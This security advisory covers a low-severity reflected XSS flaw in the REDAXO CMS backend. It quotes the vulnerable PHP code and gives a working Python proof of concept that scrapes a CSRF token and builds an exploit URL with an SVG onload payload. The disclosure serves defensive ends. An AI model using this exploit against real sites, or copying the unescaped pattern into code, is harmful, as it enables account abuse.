PT-2026-33906 · Packagist · Redaxo/Source
Published
2026-04-10
·
Updated
2026-04-10
CVSS v4.0
2.1
Low
| Vector | AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N |
Summary
A reflected XSS vulnerability has been identified in the REDAXO backend. The
function parameter is concatenated into an API error message and rendered without HTML escaping.Details
Root cause
User input
function is injected into an exception message, then rendered by rex view::error() which delegates to rex view::message() without HTML escaping.Vulnerable code (
redaxo/src/core/lib/packages/api package.php) :php
$function = rex request('function', 'string');
throw new rex api exception('Unknown package function "' . $function . '"!');Sink (
redaxo/src/core/lib/view.php) :php
return '<div class="' . $cssClassMessage . '">' . $message . '</div>';Source -> sink flow
- Source:
function(GET) - Propagation: concatenated into the exception message
- Sink: rendered via
rex view::error()->rex view::message()without escaping
Authentication required: yes (backend session)
PoC - Exploit
python
#!/usr/bin/env python3
import re
import urllib.parse
import requests
TARGET URL = "http://poc.local/"
BACKEND PATH = "redaxo/index.php"
# A valid backend PHP session id (must belong to a user who can access the Packages page)
SESSION ID = "xxxxxxxxxxxxxxxxxxxxx
https://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598
"
VERIFY SSL = False
TIMEOUT = 15
PAYLOAD = '"><svg/onload=alert("Pwned")>'
def build backend url() -> str:
base = TARGET URL.rstrip('/')
return f"{base}/{BACKEND PATH.lstrip('/')}"
def extract api csrf(html text: str) -> str:
m = re.search(r'rex-api-call=package[^"]+ csrf token=([^&"s]+)', html text)
if not m:
raise RuntimeError("CSRF token for rex api call=package was not found in the page HTML.")
return m.group(1)
def set session cookie(session: requests.Session) -> None:
parsed = urllib.parse.urlparse(TARGET URL)
if parsed.hostname:
session.cookies.set("PHPSESSID", SESSION ID, domain=parsed.hostname, path="/")
def main() -> None:
backend url = build backend url()
s = requests.Session()
set session cookie(s)
# Backend session required (role with access to packages)
r0 = s.get(backend url, timeout=TIMEOUT, verify=VERIFY SSL)
if "rex-page-login" in r0.text or "rex user login" in r0.text:
print("[!] Invalid/expired PHPSESSID. Update SESSION ID with a valid backend session.")
return
r = s.get(backend url, params={"page": "packages"}, timeout=TIMEOUT, verify=VERIFY SSL)
if r.status code != 200:
print(f"[!] Failed to access packages page (HTTP {r.status code}).")
return
api token = extract api csrf(r.text)
params = {
"page": "packages",
"rex-api-call": "package",
"function": PAYLOAD,
"package": "nonexistent",
" csrf token": api token,
}
exploit url = f"{backend url}?{urllib.parse.urlencode(params)}"
print(exploit url)
if name == " main ":
main()To run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link.
Impact
- Confidentiality: Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
- Integrity: Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
- Availability: Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.
Demo
Fix
XSS
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Redaxo/Source